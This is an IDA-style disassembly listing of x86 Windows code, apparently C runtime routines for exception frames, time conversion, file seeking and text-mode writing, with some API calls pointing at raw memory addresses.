loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2670000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2780000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 26908E1h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 26908E1h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 26908E1h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821065h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


